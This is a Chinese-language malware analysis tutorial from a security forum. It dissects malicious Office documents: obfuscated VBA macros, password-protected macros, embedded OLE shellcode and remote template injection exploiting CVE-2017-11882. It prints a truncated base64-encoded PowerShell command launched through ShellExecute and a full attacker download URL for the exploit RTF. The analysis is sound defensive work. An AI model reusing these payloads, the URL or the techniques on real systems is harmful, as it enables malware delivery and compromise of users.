查看原文
其他

恶意代码分析中一些常见的非PE样本分析

顾何 看雪学院 2021-03-07

本文为看雪论坛精华文章

看雪论坛作者ID:顾何



0x00 前言



就目前来看,非PE的恶意攻击已经越来越多了,主要是利用office这一套,最近也看了一些,就写一点记录一下。


0x01 Office格式



自office207开始,微软提出了一种新的文件格式为OpenXML(OOXML),所有word、excel、ppt默认都是OenXML格式的。还有一种比较老的格式(97-03)是OLE,关于OLE后面会详细介绍。

先来看看OpenXML格式,正常情况下说该格式的office文档可以当成一个压缩包解压,以一个word文档为例子,压缩包内容一般如下:


[Content_Types].xml


该文件描述了整个文档内容的类型,把各个xml文件组合成了一个整体。

该文件会包含包中素有的部件的内容类型和列表。

docProps文件夹


这个文件夹中的xml记录了office文档的主要属性信息。

主要是有两个文件:

 
app.xml:描述文档的类型、版本、共享信息、安全属性等。

 
core.xml:描述文件的创建时间、标题、主题和作者等通用属性。


rels文件夹


存放所有指定的rels文件。


.rels通常是描述文件结构中的起始关系,也就是说该文件用于定义其他部分与包外资源间的关系。也被叫做关系部件。

word文件夹


word文件夹是文件的主体部分,内容大概如下:


二进制区别


之前已经说了,07版本之前的office文档可以格式主要是ole,07版本前的office文档十六进制显示如下:

 
而07版本后的OpenXML,更像是一个压缩包,查看十六进制数据可以看到PK标志:



0x02 Office样本分类



office混淆宏


office宏应该算是最多。(也算是比较简单,直观的内容了)

这里是找到了一个DreamBot僵尸网络的样本:

912a487711217f214746a3e677e2bf32

开启宏之后:

 
这个时候就可以通过oledump来dump出宏代码。

oledump下载地址:https://www.52pojie.cn/thread-921868-1-1.html
使用方法:

首先可以直接通过oledump.py 目标文档.doc 分析出所有的代码段。

 
然后可以通过oledump.py -s 段名 -v 目标文档.doc 将制定段的VBA代码提取出来(以xoTBoFzBdrgAzy1pbO为例子):

 
也可以在s后面跟上a参数,表示all,将所有的VBA代码解析出来,然后通过 > 文件名将结果写入到文件:

 
现在就可以分析这个VBA代码了:

 
这里的代码带混淆,而且很长,所以可以调试来解决,但是这个程序对调试进行了处理,当宏启用之后,就会提示word停止工作,根本不能调试宏,我再网上找了好久也没有找到合适的方案。

 
最后想到了一个还算有用的解决方案,就是根据word的执行顺序来使得word不马上加载宏。

打开该样本的时候不断按F5,打开样本就会中断在如下界面:

 
这个时候点一下后面的文档内容,然后alt + F11 打开宏窗口:

 
现在就F8进行单步调试了。

然后写一下自己调试带混淆宏的思路。

现在单步执行进来停在了函数OWlEmUVvwQl。

 
然后这里传递了多个数字作为参数到gzPB函数中,查看一下gzPB函数功能:

 
可以看到函数的关键功能在这个For循环。

RlHKDeQP的值从1到传进来参数的长度,每次自增2。

然后RlHKDeQP会作为Mid函数的参数对传递进来的值进行分割。

FUduorb = Mid$(BlWMlTlXnkR, RlHKDeQP, 2)

然后对Fuduorb进行处理:

AIHfEQdyA = AIHfEQdyA & Chr(Val("&H" & FUduorb))

最后得到AIHfEQdyA的值:"dxiMMtu"

所以这个gzPB函数的功能就是对传递进来的参数进行解密。
 
选择性的跳过,然后一步一步的跟进,最后可以得到函数调用链:

OWlEmUVvwQl->hMkbDVHtbVDDttEFUWEw->dTkPsYjiXXQJXW->DqfHVjrOSVaMrAFy->MsgsyIxLElHPXcNOFMo->UoOLrJw->JFJdZo->VtrbNDgItpnfKpgAqPml->ybCDhfHLopdFPWTjmLZoUbw->FzjyS->RVThCUH->IFSeOhWOWEpX->azriOHXmFqMfPRlfDlP->LSxrp->CADXqENsQRQthfrBXvpswgqkC->lDqTvcg->MOvSslUFTPZuhCliOUXc->oVBCPDmxRv->BnqSmevUUSPyaWQ->jJPulneBpTF
 
一直跟进来,最后会调用jJPulneBpTF,在改函数中利用ShellExecute调用Powershell执行命令:

 
根据下面的值可以提取出该条指令:

lpZlNxkkO.Document.Application.ShellExecute powershell.exe -enco JAB4AG4AcQBnAHcAcQB6AG0AeABhAHUAcAA9ACIAbQB6AHIAbgBlAHoAIgA7AAoAJAB0AHMAaQBkAHMAdQAgAD0AIAAiAEkAaQBSAFAAcgB3AFYARgAiADsACgAkAGgAZQBlAHkAZQBlAHAAeQB1AGUAPQAiAGgAcwBpAGsAcgBrAGgAdwBiAHkAbwBrAGoAcwBlACIAOwAKAGYAdQBuAGMAdABpAG8AbgAgAGEAYQBpAHIAZwB0AHcAaABuA
 
接着看ShellExecute后面的部分:

 
可以手动加代码得到后面部分的输出结果:



上面这一大部分分析的都是sohkywrsn模块的内容,接下来用同样的方法分析其他模块的内容和调用关系就可以了。
 


office密码宏


带密码的宏一般来说有两个工具可以绕过。

以之前分析过的一个样本Lazarus_6850189bbf5191a76761ab20f7c630e举例。

打开样本宏窗口:


我第一次用的工具是aopr,吾爱下载地址:https://www.52pojie.cn/forum.php?mod=viewthread&tid=722999&page=1&authorid=796560
 
这个工具使用比较简单:

首先选择文件路径,然后直接删除VBA密码就可以了。

 
再次打开样本,ALT+F11打开宏窗口:

 
直接单击确定即可。



还有一个常用的工具是:VBA_Password_Bypasser。

ole对象


以APT组织摩诃草近期的一个攻击样本0D38ADC0B048BAB3BD91861D42CD39DF为例。

打开文件之后内容如下:



启用宏发现只有1行代码,就是将这张模糊的图片删除,显示清晰的图片:

 
所以该样本应该不是宏代码利用,尝试从其他思路想办法。

解压该文档,然后在:0D38ADC0B048BAB3BD91861D42CD39DF_w32time\xl\embeddings路径发现了ole:

 
这里还有bak,可能是攻击者忘记删除的备份。
 
查看该ole的十六进制数据:

可以看到在Offset00001000的地方貌似有shellcode。

 
提取出来保存为二进制文件到IDA里面分析:

 
可以看到这里是首先给v2设置偏移为a2+1368,然后修订前两个字节为MZ,结合之前在shellcode下面看到的不完整PE,这里应该就是修正PE头。

 
接着往后看,是指明了一个路径%appdata%\MSBuild.exe。
 
最后的call sub_244看参数应该是CreateFile文件。

 
由于之前已经运行过了该样本,所以直接查看%appdata%路径:

 
MSbuild.exe已经释放到%appdata%处了。

关于这个Msbuild的分析以及该样本的完整分析之后写在其他文档里。

模板注入


以SideWinder APT的一个新样本为例:9b1d0537d0734f1ddb53c5567f5d7ab5

 
7z打开,看样子应该是的docx文档

可以看到有一个正在下载:https://www.sd1-bin.net/images/2B717e98/-1/12...的操作

这应该算是比较典型的模板注入了。
 
 
解压该样本,按道理来讲可以在word/_rels目录下的document.xml.rels文件中找到该完整请求:

https://www.sd1-bin.net/images/2B717E98/-1/12571/4c7947ec/main.file.rtf
 
 
过滤一下网络,访问该地址,下载main.file.rtf到本地。

 
app.any.run沙箱跑一下可以发现是利用公式编辑器漏洞的rft文档(CVE-2017-11882)。

 
由于是公式编辑器漏洞利用,所以不要直接监视word进程,直接监视EQNEDT32.exe看到有如下语句:

 
这里没有看出来是干嘛,反而看最后的eva感觉少了一个l,像是一条没有执行完的命令。

重新打开该rtf文件提示如下:

 
在%temp%目录下没有找到1.a文件,所以上面的命令其实应该是会从rtf文件中提取shellcode保存到%temp%\1.a,重新在win7x64office2003下打开该rtf文档,运行之后成功释放1.a。

 
查看后发现1.a其实是一个js文件:

 
然后后面又是自定义一个base64解密,解密出来是一个powershell代码。

然后powershell的分析就调试就可以了...





- End -






看雪ID:顾何

https://bbs.pediy.com/user-757351.htm 


*本文由看雪论坛  顾何  原创,转载请注明来自看雪社区




推荐文章++++

通过捕获段错误实现的自定义linker

Xposed高级用法 实现Tinker热修复

连连看逆向

从“短信劫持马”的制作来谈App安全

入门级加固——3种加固方式学习记录




进阶安全圈,不得不读的一本书






公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com




“阅读原文”一起来充电吧!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存